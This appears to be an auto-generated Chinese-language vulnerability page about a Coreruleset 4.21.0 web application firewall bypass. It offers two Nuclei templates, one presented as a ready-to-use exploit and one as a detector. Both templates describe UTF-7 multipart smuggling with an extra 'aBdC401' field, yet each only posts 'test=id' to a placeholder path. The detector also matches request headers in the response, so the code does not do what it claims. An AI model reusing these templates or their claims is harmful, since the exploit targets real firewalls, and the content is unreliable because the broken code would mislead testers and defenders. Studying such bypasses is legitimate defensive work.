[webapps] coreruleset 4.21.0 - Firewall Bypass

📋 漏洞基础信息

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-21876-exploit

info:
  name: Coreruleset 4.21.0 - Firewall Bypass Exploit
  author: Daytrift Newgen
  severity: medium
  description: Exploits the Coreruleset firewall bypass vulnerability by sending a crafted POST request with UTF-7 encoded form data and an extra 'aBdC401' field to evade WAF rules. The target version must be < 4.22.0/3.3.8.
  reference:
    - https://github.com/coreruleset/coreruleset
    - https://github.com/coreruleset/coreruleset
  tags: cve,cve2026,coreruleset,waf,exploit

variables:
  cmd: "id"

http:
  - raw:
      - |
        POST {{BaseURL}}/path/to/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        test=id
    matchers:
      - type: status
        status:
          - 200

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-21876-detection

info:
  name: Coreruleset 4.21.0 - Firewall Bypass Detection
  author: Daytrift Newgen
  severity: medium
  description: Detects if Coreruleset version <= 4.21.0 is vulnerable to a firewall bypass via UTF-7 encoded multipart form-data smuggling. The vulnerability exists in versions < 4.22.0/3.3.8.
  reference:
    - https://github.com/coreruleset/coreruleset
    - https://github.com/coreruleset/coreruleset
  tags: cve,cve2026,coreruleset,waf,firewall,bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/path/to/test"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "test=id"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Content-Type: text/plain; charset=utf-7"
          - "Content-Disposition: form-data; name=\"aBdC401\""
        condition: or
        part: response
      - type: status
        status:
          - 200

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-20 08:07 | 来源: Exploit-DB